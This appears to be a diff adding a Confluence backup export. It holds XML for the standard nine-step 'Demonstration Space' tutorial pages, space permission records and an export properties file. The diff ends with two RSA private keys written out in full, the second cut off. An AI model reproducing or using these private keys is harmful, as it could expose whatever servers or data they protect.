<property name="body"><![CDATA[<ac:layout><ac:layout-section ac:type="single"><ac:layout-cell><p style="margin-left: 60.0px;"><br /></p><p>Insert tables with drag and drop simplicity. <br />Add, remove, cut, and paste rows and columns &ndash; this makes working with tables easy. <br />&nbsp;</p></ac:layout-cell></ac:layout-section><ac:layout-section ac:type="two_right_sidebar"><ac:layout-cell><ol><li><span style="color: rgb(51,51,51);"><strong>Edit</strong>&nbsp;the page.<br />&nbsp;<br /></span></li><li><span style="color: rgb(51,51,51);">Click in the right-hand column to position your cursor.<br />&nbsp;<br /></span></li><li>Click the <strong>Table</strong> menu on the toolbar and drag to choose the size of your table. <br /><br /><ac:image ac:thumbnail="true" ac:width="225"><ri:attachment ri:filename="step05-01.png" /></ac:image><br />&nbsp;</li><li>The table toolbar appears when there is table on your page.<br /><br /></li><li>Place your cursor in the first cell of the table and add a row below it.<br /><br /><ac:image ac:thumbnail="true" ac:width="160"><ri:attachment ri:filename="step05-03.png" /></ac:image><br /><br /></li><li>Place your cursor in any cell of the last column of the table and delete the column.<br /><br /><ac:image ac:thumbnail="true" ac:width="160"><ri:attachment ri:filename="step05-04.png" /></ac:image><br />&nbsp;</li><li>Grab one of the column borders and drag to resize the column.<br /><br /></li><li><span style="line-height: 1.42857;">Click&nbsp;</span><strong style="line-height: 1.42857;">Update&nbsp;</strong><span style="line-height: 1.42857;">to publish your changes to the page.</span></li></ol></ac:layout-cell><ac:layout-cell><p><br /></p></ac:layout-cell></ac:layout-section><ac:layout-section ac:type="single"><ac:layout-cell><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><br /></span></h1><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><ac:link><ri:page ri:content-title="Prettify the page with an image (step 4 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="prev.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link>&nbsp;<ac:link><ri:page ri:content-title="Welcome to Confluence" /><ac:link-body><ac:image><ri:attachment ri:filename="home.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link>&nbsp;<ac:link><ri:page ri:content-title="Lay out your page (step 6 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="next.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link></span></h1></ac:layout-cell></ac:layout-section></ac:layout>]]></property>
<property name="content" class="Page" package="com.atlassian.confluence.pages"><id name="id">98332</id>
</property>
<property name="bodyType">2</property>
</object>
<object class="BodyContent" package="com.atlassian.confluence.core">
<id name="id">163847</id>
<property name="body"><![CDATA[<p><br />You can start a discussion by simply leaving a comment on a page, like this one.</p><p>Why not give it a try?</p><p>Go to the bottom of this page and start typing in the comment area. When you're finished just press save!&nbsp;</p><p>Don't just confine your comments to the bottom of the page - highlight some text on the page to add an inline comment like this:</p><p><br /></p><p><ac:image ac:width="417"><ri:attachment ri:filename="Step8-01.png" /></ac:image></p><p><br /></p><p><strong>Hint:</strong> You can mention another user in a page or&nbsp; comment by typing @ and then the user's name. <br />The user will be notified that you mentioned them.</p><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><br /></span></h1><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><br /></span></h1><h1 style="text-align: center;"><ac:link><ri:page ri:content-title="Learn the wonders of autoconvert (step 7 of 9)" /><ac:link-body><ac:image ac:height="40" ac:width="106"><ri:attachment ri:filename="prev.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link>&nbsp;<ac:link><ri:page ri:content-title="Welcome to Confluence" /><ac:link-body><ac:image><ri:attachment ri:filename="home.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link>&nbsp;<ac:link><ri:page ri:content-title="Share your page with a team member (step 9 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="next.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link></h1><p><span style="color: rgb(51,51,51);"><br /></span></p>]]></property>
<property name="content" class="Page" package="com.atlassian.confluence.pages"><id name="id">98305</id>
</property>
<property name="bodyType">2</property>
</object>
<object class="BodyContent" package="com.atlassian.confluence.core">
<id name="id">163848</id>
<property name="body"><![CDATA[<p>Page layouts provide structure in your page &mdash; two-column, three-column, and more &mdash; making it easy for anyone to create beautiful pages.</p><p>&nbsp;</p><ol><li><span style="color: rgb(51,51,51);"><strong>Edit</strong>&nbsp;the page.<br />&nbsp;&nbsp;</span></li><li><span style="color: rgb(51,51,51);">Click the <strong>Page Layout</strong></span> button in the editor toolbar. It looks like this:<br /><br /><ac:image ac:thumbnail="true" ac:width="160"><ri:attachment ri:filename="step06-image01.png" /></ac:image><br /><span style="color: rgb(51,51,51);"><br />&nbsp;</span>A section is added to your page, dotted lines indicate the section boundaries.&nbsp;<br />&nbsp;</li><li>Choose a <strong>column layout</strong>&nbsp;to apply to your section, for example two columns. <br /><br /><ac:image ac:width="308"><ri:attachment ri:filename="step06-image02.png" /></ac:image> <br />&nbsp;</li><li><span style="color: rgb(51,51,51);">Click the <strong>Add section</strong> button to add another section to the page. <br /><br /><ac:image ac:width="385"><ri:attachment ri:filename="step06-image03.png" /></ac:image><br />&nbsp;</span></li><li><span style="color: rgb(51,51,51);">Choose a different <strong>column layout</strong> for this section.&nbsp;<br /><br /></span></li><li>Click <strong>Update </strong>to publish your changes to the page.</li></ol><p><span>You can add as many sections as you need, and each section can have a different column layout.&nbsp;</span></p><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><br /></span></h1><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><ac:link><ri:page ri:content-title="Get serious with a table (step 5 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="prev.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link>&nbsp;<ac:link><ri:page ri:content-title="Welcome to Confluence" /><ac:link-body><ac:image><ri:attachment ri:filename="home.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link>&nbsp;<ac:link><ri:page ri:content-title="Learn the wonders of autoconvert (step 7 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="next.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link></span></h1>]]></property>
<property name="content" class="Page" package="com.atlassian.confluence.pages"><id name="id">98321</id>
</property>
<property name="bodyType">2</property>
</object>
<object class="BodyContent" package="com.atlassian.confluence.core">
<id name="id">163849</id>
<property name="body"><![CDATA[<p><br /></p><p>Let's start with the editor. You'll use the Confluence editor to <strong>create</strong> and <strong>edit</strong> pages.<br />You can type in the editor as you would in any document, apply formatting, and embed other content and files into the page.</p><p>The editor looks like this <span style="color: rgb(153,153,153);">(click images for a larger view)</span>:</p><p><br /></p><p><ac:image ac:width="511"><ri:attachment ri:filename="step-2-image-1.png" /></ac:image></p><p><br /></p><p><span>Here is a description of the components:</span></p><ol><li><h4><span style="color: rgb(0,0,0);">Editor toolbar</span></h4><span style="color: rgb(51,51,51);">The editor toolbar provides tools to format and color page content, create lists and tables, indent and align text, and insert other content into the page such as symbols, links, images, multimedia files, and macros.<br /><br /></span><ac:image ac:width="870"><ri:attachment ri:filename="step-2-image-3.png" /></ac:image><br /><br /></li><li><h4><span style="color: rgb(0,0,0);">Page content</span></h4><span style="color: rgb(51,51,51);">This is where you and your team will type the content for your page. You can also drag attachments from your desktop here.<br /></span>If other people are editing the page at the same time, you'll see their changes in real time!&nbsp;<br /><br /><br /></li><li><h4><span style="color: rgb(0,0,0);">Publish or close</span></h4><span style="color: rgb(0,0,0);">We're saving all the time in the editor. &nbsp;Once you're ready, hit <strong>publish</strong> to publish your page so others can see the changes, or <strong>close</strong> to finish editing later.<br /><br /><ac:image ac:width="800"><ri:attachment ri:filename="step-2-image-5.png" /></ac:image></span><br /><br /></li></ol><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><br /></span></h1><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><ac:link><ri:page ri:content-title="What is Confluence? (step 1 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="prev.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link>&nbsp;<ac:link><ri:page ri:content-title="Welcome to Confluence" /><ac:link-body><ac:image><ri:attachment ri:filename="home.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link>&nbsp;<ac:link><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="next.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link></span></h1><p><span style="color: rgb(51,51,51);"><br /></span></p>]]></property>
<property name="content" class="Page" package="com.atlassian.confluence.pages"><id name="id">98322</id>
</property>
<property name="bodyType">2</property>
</object>
<object class="BodyContent" package="com.atlassian.confluence.core">
<id name="id">163850</id>
<property name="body"><![CDATA[<ac:layout><ac:layout-section ac:type="single"><ac:layout-cell><p style="margin-left: 60.0px;">&nbsp;</p><p><span style="color: rgb(51,51,51);">The Confluence editor helps you create content, fast. </span><span style="color: rgb(51,51,51);">You can embed images, Office documents, and even videos. <br />That's just the tip of the iceberg when it comes to creating useful content for your team.&nbsp;<br />&nbsp;</span></p></ac:layout-cell></ac:layout-section><ac:layout-section ac:type="two_right_sidebar"><ac:layout-cell><ol><li style="text-align: left;"><strong>Edit</strong> the page.<br /><br /></li><li style="text-align: left;">Click in the right-hand column to position your cursor.<br /><br /></li><li style="text-align: left;">Click <strong style="text-align: left;">Files</strong> on the editor toolbar. It looks like this:<br /><br /><ac:image ac:width="301"><ri:attachment ri:filename="step04-01.png" /></ac:image><br />&nbsp;</li><li style="text-align: left;"><span>The Files dialog shows you the files attached to this page. <br />Select the image named&nbsp;<strong>Confluence Origami Necktie</strong>.<br />&nbsp;<br /></span></li><li style="text-align: left;">Click <strong>Insert</strong>.<br /><br /></li><li style="text-align: left;"><span style="color: rgb(51,51,51);">You will return to this page, and see the 'Image Properties Panel'. If you don't see it, click the image.<br />&nbsp;<br /></span></li><li style="text-align: left;"><span style="color: rgb(51,51,51);">Resize the image by clicking on the square buttons or entering a width.<br /><br /><ac:image ac:width="540"><ri:attachment ri:filename="step04-02.png" /></ac:image><br />&nbsp;<br /></span><span style="color: rgb(51,51,51);"><br /></span></li><li style="text-align: left;"><span>Click <strong>Properties </strong>and then select the <strong>Curl Shadow</strong> option from the Image Effects dialog.&nbsp;<br />&nbsp;&nbsp; <br /></span></li><li style="text-align: left;"><span style="color: rgb(51,51,51);">Your image should look like this when completed:<br /><ac:image ac:queryparams="effects=border-simple,shadow-kn" ac:thumbnail="true" ac:width="300"><ri:attachment ri:filename="Confluence-Origami-Necktie.jpeg" /></ac:image><br />&nbsp;</span></li><li style="text-align: left;"><span style="line-height: 1.42857;">Click&nbsp;</span><strong style="line-height: 1.42857;">Update&nbsp;</strong><span style="line-height: 1.42857;">to publish your changes to the page.</span><br /><br /></li><li style="text-align: left;">View the image on the page, or click to preview the file.</li></ol><p style="text-align: left;">The Files button is not just for images, you can insert and preview a wide range of files, including Microsoft Office documents and PDFs.</p></ac:layout-cell><ac:layout-cell><p>&nbsp;</p></ac:layout-cell></ac:layout-section><ac:layout-section ac:type="single"><ac:layout-cell><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><br /></span></h1><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><ac:link><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="prev.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link>&nbsp;<ac:link><ri:page ri:content-title="Welcome to Confluence" /><ac:link-body><ac:image><ri:attachment ri:filename="home.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link>&nbsp;<ac:link><ri:page ri:content-title="Get serious with a table (step 5 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="next.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link></span></h1><p><span style="color: rgb(51,51,51);"><br /></span></p></ac:layout-cell></ac:layout-section></ac:layout>]]></property>
<property name="content" class="Page" package="com.atlassian.confluence.pages"><id name="id">98318</id>
</property>
<property name="bodyType">2</property>
</object>
<object class="BodyContent" package="com.atlassian.confluence.core">
<id name="id">163851</id>
<property name="body"><![CDATA[]]></property>
<property name="content" class="SpaceDescription" package="com.atlassian.confluence.spaces"><id name="id">98357</id>
</property>
<property name="bodyType">0</property>
</object>
<object class="BodyContent" package="com.atlassian.confluence.core">
<id name="id">163841</id>
<property name="body"><![CDATA[<p style="margin-left: 60.0px;">&nbsp;</p><p>Pages live in spaces. This page is in the 'Demonstration Space'.&nbsp;<br />&nbsp;</p><p>Let's play with some content. Don't worry, you won't break anything:</p><ol><li>Click&nbsp;<strong>Edit</strong> at the top of this page. Now you're in the editor.<br /><br /></li><li>Type some words anywhere on the page.<br /><br /></li><li>Have some fun:<span style="line-height: 0.0px;">&nbsp;</span></li></ol><ul><li style="list-style-type: none;"><ul><li>Change the color of the text: Select the text, then choose a color from the color option in the editor tool bar.<br /><br /></li><li>Add a link: Select some text, then choose the <strong>Link</strong> button on the toolbar.<br />Click <strong>Web Link</strong> and enter an <strong>Address</strong>, such as&nbsp;<code>http://www.atlassian.com</code>. <br />Click <strong>Insert</strong> to insert the link.<br /><br /></li><li>Find a file or picture on your computer, and drag it anywhere on this page.<br /><br /></li><li>Try some of the other options on the editor toolbar.</li></ul></li></ul><p>When<em> y</em>ou're ready, click <strong>Update</strong> to publish your changes then<strong>&nbsp;</strong>and go to the next step or back to the space home.</p><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><br /></span></h1><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><br /></span></h1><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><ac:link><ri:page ri:content-title="A quick look at the editor (step 2 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="prev.jpg" /></ac:image></ac:link-body></ac:link>&nbsp;<ac:link><ri:page ri:content-title="Welcome to Confluence" /><ac:link-body><ac:image><ri:attachment ri:filename="home.jpg" /></ac:image></ac:link-body></ac:link>&nbsp;<ac:link><ri:page ri:content-title="Prettify the page with an image (step 4 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="next.jpg" /></ac:image></ac:link-body></ac:link></span></h1><p>&nbsp;</p>]]></property>
<property name="content" class="Page" package="com.atlassian.confluence.pages"><id name="id">98317</id>
</property>
<property name="bodyType">2</property>
</object>
<object class="BodyContent" package="com.atlassian.confluence.core">
<id name="id">163842</id>
<property name="body"><![CDATA[<p style="text-align: center;">&nbsp;</p><h2><ac:image><ri:attachment ri:filename="welcome.png" /></ac:image><br />&nbsp; <span style="color: rgb(128,128,128);">With Confluence it is easy to create, edit and share content with your team. <br />&nbsp; Choose a topic below to start learning how.</span></h2><h2><span style="color: rgb(0,0,128);"><br /></span></h2><ol><li><span style="color: rgb(0,0,128);"><ac:link><ri:page ri:content-title="What is Confluence? (step 1 of 9)" /><ac:link-body>What is Confluence?<br /><br /></ac:link-body></ac:link></span></li><li><span style="color: rgb(0,0,128);"><ac:link><ri:page ri:content-title="A quick look at the editor (step 2 of 9)" /><ac:plain-text-link-body><![CDATA[A quick look at the editor]] ></ac:plain-text-link-body></ac:link><br />&nbsp;</span></li><li><span style="color: rgb(0,0,128);"><ac:link><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /><ac:plain-text-link-body><![CDATA[Let's edit this page]] ></ac:plain-text-link-body></ac:link><br /><br /></span></li><li><span style="color: rgb(0,0,128);"><ac:link><ri:page ri:content-title="Prettify the page with an image (step 4 of 9)" /><ac:link-body>Prettify the page with an image<br /><br /></ac:link-body></ac:link></span></li><li><span style="color: rgb(0,0,128);"><ac:link><ri:page ri:content-title="Get serious with a table (step 5 of 9)" /><ac:link-body>Get serious with a table<br /></ac:link-body></ac:link></span><span style="color: rgb(0,0,128);">&nbsp;</span></li><li><span style="color: rgb(0,0,128);"><ac:link><ri:page ri:content-title="Lay out your page (step 6 of 9)" /><ac:plain-text-link-body><![CDATA[Lay out your page]] ></ac:plain-text-link-body></ac:link>&nbsp;<br /><br /></span></li><li><ac:link><ri:page ri:content-title="Learn the wonders of autoconvert (step 7 of 9)" /><ac:plain-text-link-body><![CDATA[Learn the wonders of autoconvert]] ></ac:plain-text-link-body></ac:link>&nbsp;<br /><br /></li><li><ac:link><ri:page ri:content-title="Tell people what you think in a comment (step 8 of 9)" /><ac:plain-text-link-body><![CDATA[Tell people what you think in a comment]] ></ac:plain-text-link-body></ac:link>&nbsp;<br /><br /></li><li><ac:link><ri:page ri:content-title="Share your page with a team member (step 9 of 9)" /><ac:plain-text-link-body><![CDATA[Share your page with a team member]] ></ac:plain-text-link-body></ac:link></li></ol><p><span style="color: rgb(128,128,128);"><br /></span></p><p><span style="color: rgb(128,128,128);"><br /></span></p><p><span style="color: rgb(128,128,128);"><br /></span></p><p><span style="color: rgb(128,128,128);"><br /></span></p><p><span style="color: rgb(128,128,128);"><br /></span></p><p style="text-align: right;">&nbsp; &nbsp; &nbsp;&nbsp;</p>]]></property>
<property name="content" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<property name="bodyType">2</property>
</object>
<object class="BodyContent" package="com.atlassian.confluence.core">
<id name="id">163843</id>
<property name="body"><![CDATA[<p style="margin-left: 60.0px;">&nbsp;</p><p><strong>Confluence</strong> is where you can create, organize and discuss work with your team. <br />Use Confluence for meeting notes, project plans, requirements, sprint planning, how-to guides, or anything you like.</p><p>Click the <strong>Create</strong> button on the header to see some of the types of pages you can create.</p><p>A Confluence page can contain text, images, diagrams, activity streams, videos, and more. <br />Confluence puts your content online in a central place where your team can search, edit and discuss it at any time. <span><span style="color: rgb(0,0,0);">&nbsp;</span></span></p><p><span><span style="color: rgb(0,0,0);">So let's try it!<span style="color: rgb(0,0,255);">&nbsp;<ac:link><ri:page ri:content-title="A quick look at the editor (step 2 of 9)" /><ac:plain-text-link-body><![CDATA[Click here to learn how to edit a page]] ></ac:plain-text-link-body></ac:link></span>&nbsp;</span></span></p><p><span style="color: rgb(153,153,153);"><span style="color: rgb(0,0,0);"><br /></span></span></p><p><span style="color: rgb(153,153,153);"><span style="color: rgb(0,0,0);"><br /></span></span></p><p><span style="color: rgb(153,153,153);"><span style="color: rgb(0,0,0);"><br /></span></span></p><p><span style="color: rgb(153,153,153);"><span style="color: rgb(0,0,0);"><br /></span></span></p><p><span style="color: rgb(153,153,153);"><span style="color: rgb(0,0,0);">&nbsp;</span></span></p><h1 style="text-align: center;"><ac:link><ri:page ri:content-title="Welcome to Confluence" /><ac:link-body><ac:image><ri:attachment ri:filename="prev.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link>&nbsp;<ac:link><ri:page ri:content-title="Welcome to Confluence" /><ac:link-body><ac:image><ri:attachment ri:filename="home.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link>&nbsp;<ac:link><ri:page ri:content-title="A quick look at the editor (step 2 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="next.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link></h1><p><span style="color: rgb(51,51,51);"><br /></span></p><p><span style="color: rgb(51,51,51);"><br /></span></p><p><span style="color: rgb(153,153,153);"><span style="color: rgb(0,0,0);"><br /></span></span></p><p><span style="color: rgb(153,153,153);"><span style="color: rgb(0,0,0);"><br /></span></span></p><p><span style="color: rgb(153,153,153);"><span style="color: rgb(0,0,0);"><br /></span></span></p><p><span style="color: rgb(153,153,153);"><span style="color: rgb(0,0,0);"><br /></span></span></p><p><span style="color: rgb(153,153,153);"><span style="color: rgb(0,0,0);"><br /></span></span></p>]]></property>
<property name="content" class="Page" package="com.atlassian.confluence.pages"><id name="id">98320</id>
</property>
<property name="bodyType">2</property>
</object>
<object class="Space" package="com.atlassian.confluence.spaces">
<id name="id">131073</id>
<property name="name"><![CDATA[Demonstration Space]]></property>
<property name="key"><![CDATA[ds]]></property>
<property name="lowerKey"><![CDATA[ds]]></property>
<property name="description" class="SpaceDescription" package="com.atlassian.confluence.spaces"><id name="id">98357</id>
</property>
<property name="homePage" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<collection name="permissions" class="java.util.Collection"><element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458761</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458762</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458763</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458764</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458765</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458766</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458767</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458768</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458769</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458770</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458771</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458772</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458773</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458774</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458775</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458776</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458777</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458778</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458779</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458780</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458781</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458782</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458783</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458784</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458785</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458786</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458787</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458788</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458789</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458790</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458791</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458792</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458793</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458794</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458795</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458796</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458797</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458798</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458799</id>
</element>
</collection>
<property name="creationDate">2020-04-14 11:55:11.912</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
<property name="spaceType">global</property>
<property name="spaceStatus" enum-class="SpaceStatus" package="com.atlassian.confluence.spaces">CURRENT</property>
</object>
</hibernate-generic>
@@ -0,0 +1,14 @@
#Thu Nov 09 06:05:19 UTC 2023
ao.data.version.min.com.atlassian.mywork.mywork-confluence-host-plugin=1.1.30
ao.data.version.com.atlassian.mywork.mywork-confluence-host-plugin=8.3.8
createdByVersionNumber=7.19.12
supportEntitlementNumber=SEN-L1699509489567
source=server
buildNumber=8506
ao.data.list=com.atlassian.mywork.mywork-confluence-host-plugin, com.atlassian.confluence.plugins.confluence-space-ia
ao.data.version.min.com.atlassian.confluence.plugins.confluence-space-ia=5.0
defaultUsersGroup=confluence-users
ao.data.version.com.atlassian.confluence.plugins.confluence-space-ia=17.19.9
exportType=all
createdByBuildNumber=8804
backupAttachments=true
@@ -0,0 +1,27 @@
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEAzbGeKAIbNI5h3LnQXhN3P1/8aUH9FfUQVaKKI/tOhzByQ/v4
DKD5hfXl+oxkoGeqSafpccPl4A1MOEe7ccd1mt96iBDnufUKfbjZyfH92ONM9RVV
GrhhXruRe/qbkLNlwFNdaYmi/UHbYu+fgiDrE4np4MvGACzLvv6Hu/cDe2kSjFNd
zs7wvzZ95fliH/+nsBUqC3JntH+KZy0JZW6QJ8WkY5g7KXlfTPkFdEfMuNLKbD3w
j/d+FFY0CI7XR8JX96w0cfYs6k94enzag0eKeAJAbUFXTkK73Cg3fomws2SlCZPi
KiRXdMJFY2pKwg1KJU9SqsfHQvz8UCRvpE3KyQIDAQABAoIBAA3KfNod2gkaCsGr
y6ajE3myS9Aa1ockWSYEsdJbxRYXT3HzcNwX5uLua67yvsRqbuZlVaeFBOKSwat8
U7r7Lo1lsmdxCrhTD5MCU8fQa76g7sX32i7icdTSKpzvXoLDJG1SqY6r5bupMLZf
bohhAKHcu0uRHgNg/YAevKcDlr4tXGICajsToSg4UlxVcbxGcuvLKld8FKZrKuE0
fPDkEp6j4056bYMilO/xTpDb+WyegzTxA842CweLBZo/XXD3ZS5wiad6evnjp57E
gd6S6huavL9uzNpmqr1BfSl6r+bWTXcFBNYyaEo1Y+Sa8ZzgOql7VblmW23Pqetc
f1Jn0AECgYEA/Fxo8cBl4myOeiKSddCwSLrlP0zizXQ5L9ppooXqH5nuA96R00jU
ryygUJ0tPp2iODdBoO5tGTIbqHBOEu4i7JejrPML9Y33bZq+M4ZeNnMimfK60N4g
j7ma/Qqvz6MSi3Dh9rYMoavkMVrr2TJEKQrjMpBmuXP1W+5b0fTq4QECgYEA0Kjv
ptAyCy9/Mq8Fn2vY6hJQEb3WUukClBccxCCYKRWPvFjg4tWRdSKpqPH9LMZ7Ra74
xZjPa27eTymADo49/3whsVOPiQV/dKbf0vhwGuSMMxyEpOWdvILJNo0HW+f98//K
DFvIkByqc+517LyKHhco8Cti/I22qLY8+27iIckCgYEAt0S9CeP5mcfQaK42wsy9
WPQxjBjgFOi0pyXs1RR/hFebXMAEEvavTlAQVLrwoqqDpmOqi57bKBMVtutoJ6M9
RaiSOwV+x+NDrxtTycNpJA3VMQvv08OczgOypNVf/GCnFRDzaOGoprhYTeeDpAY3
Lb80ZAIuN7wYkZy2nfFJqgECgYEAlSqgIG2nyO1MjmwmpeBQco1i5jwDMsRWzo1z
SBZRENXUKn6TTjYFRWrhROCx8Ed4Ksm6GHB0n8XjcU4muMEhOzp/T6h/7SGcC0Wc
rtJiOid2vrc9cDCiQfhxZekOALrphnwu8gTPbY7AoB4x+WqTho1h+8fYfNnGYffd
wpVzXVkCgYEA0vxFIs633h7ct2qBH50ieDCPc0RsTBhZHGXYmYfq596K3ZOHF2IV
ICFq9r4zBorUwC3f/u/KvfjkilZTMN73GDWigdQGnP3eG0xKw9plv686M9HhCEI5
Q2wnkxwYstzUwQ2zxwgU0l6z2OUXfG2oP3DRmFdQ4ma+c3MB1oxiX7E=
-----END RSA PRIVATE KEY-----
@@ -0,0 +1,27 @@
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAsgKBrNNWF+QwDEP1w4HNuVQNBwLU0g/7Ua3SNNxhQvgx9oe7
Oh6c8YFvtmpSIjpOj3aD+w0bKZ8cEEPIGPV4OJ8tbuV09GtRPO+TbffhDsnwZB5Y
fLhUsSM1/PjVTCfzrz2crs6CWRrDXLd3Qm9EdYAY01hE1Zo3TeqwsmXfy+7llF5z
iHKs54yDm/x+CEVL/QfaDTxyTSGeXpQSd6Y9nVhSGZPu2LyqksEffGJCxhzqgz0R
ldsfYTo64XofPUPRVvuNMJtBbdWIvzEqGGoaqOmm6XZhhh0ND4N9hyFnKA02q6Yb
CR8q0gtEXBhDIM0e/rSoc+UoAhnbBJ4EiTnIywIDAQABAoIBAHiy1GRwA789XQrk
Bb8jw283O4IWfGFWrszKNG7dQyGakp4bmGqnGTlzz2B7pOdKa7xA2uqeD13gYbHx
k7rArlyOKcs40F1uau4LcAavfa1+ZX4tSUh/4AUf39qAingR2txmxVeN9LogOHkk
eTvVoDCfw7WB82J2J6uwR1EfXGi0mGTyk+DzarzCm2S3jHVVlsWMC1rf440/NJxa
2isVsh19CC9RXF8Npgd/b/TszLc9UzmFsYstQRrFXHTGO8LAmXYd+Jxb5ejbAAAJ
